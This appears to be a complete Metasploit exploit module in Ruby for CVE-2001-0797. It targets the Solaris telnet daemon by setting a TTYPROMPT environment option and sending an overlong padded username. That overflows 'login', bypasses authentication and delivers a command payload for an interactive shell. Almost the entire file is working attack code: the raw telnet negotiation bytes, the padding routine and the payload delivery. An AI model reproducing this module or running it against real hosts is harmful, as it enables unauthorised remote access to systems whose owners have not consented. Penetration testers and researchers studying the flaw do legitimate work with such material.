101 lines
1.9 KiB
Ruby
101 lines
1.9 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Solaris::Telnet::TTYPrompt_Auth_Bypass < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Solaris in.telnetd TTYPROMPT Buffer Overflow',
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'Description' => %q{
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This module uses a buffer overflow in the Solaris 'login'
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application to bypass authentication in the telnet daemon.
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},
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'Author' => [ 'MC', 'cazz' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '5531'],
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[ 'CVE', '2001-0797'],
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[ 'MIL', '66'],
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],
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'Privileged' => false,
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'Platform' => ['unix', 'solaris'],
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => '',
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'DisableNops' => true,
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},
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'PayloadCompat' =>
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{
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"PayloadType" => "cmd_interact",
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},
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'Targets' =>
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[
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['Automatic', { }],
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],
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'DisclosureDate' => 'Jan 18 2002',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(23),
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OptString.new('USER', [ true, "The username to use", "bin" ]),
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], self.class)
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end
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def exploit
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connect
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banner = sock.get_once
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print_status('Setting TTYPROMPT...')
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req =
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"\xff\xfc\x18" +
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"\xff\xfc\x1f" +
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"\xff\xfc\x21" +
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"\xff\xfc\x23" +
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"\xff\xfb\x22" +
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"\xff\xfc\x24" +
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"\xff\xfb\x27" +
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"\xff\xfb\x00" +
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"\xff\xfa\x27\x00" +
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"\x00TTYPROMPT" +
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"\x01" +
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Rex::Text.rand_text_alphanumeric(6) +
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"\xff\xf0"
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sock.put(req)
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sleep(0.25)
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print_status('Sending username...')
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req = datastore['USER']
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64.times {
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req += Rex::Text.rand_text(rand(10) + 1, '', " \t") + Rex::Text.rand_text_alpha(rand(10) + 1)
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}
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req += "\n"
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sock.put(req)
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sock.put("\n\n\n")
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sleep(0.25)
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sock.get_once
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sock.put(payload.encoded + "\n")
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sleep(0.25)
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handler
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end
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end
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end
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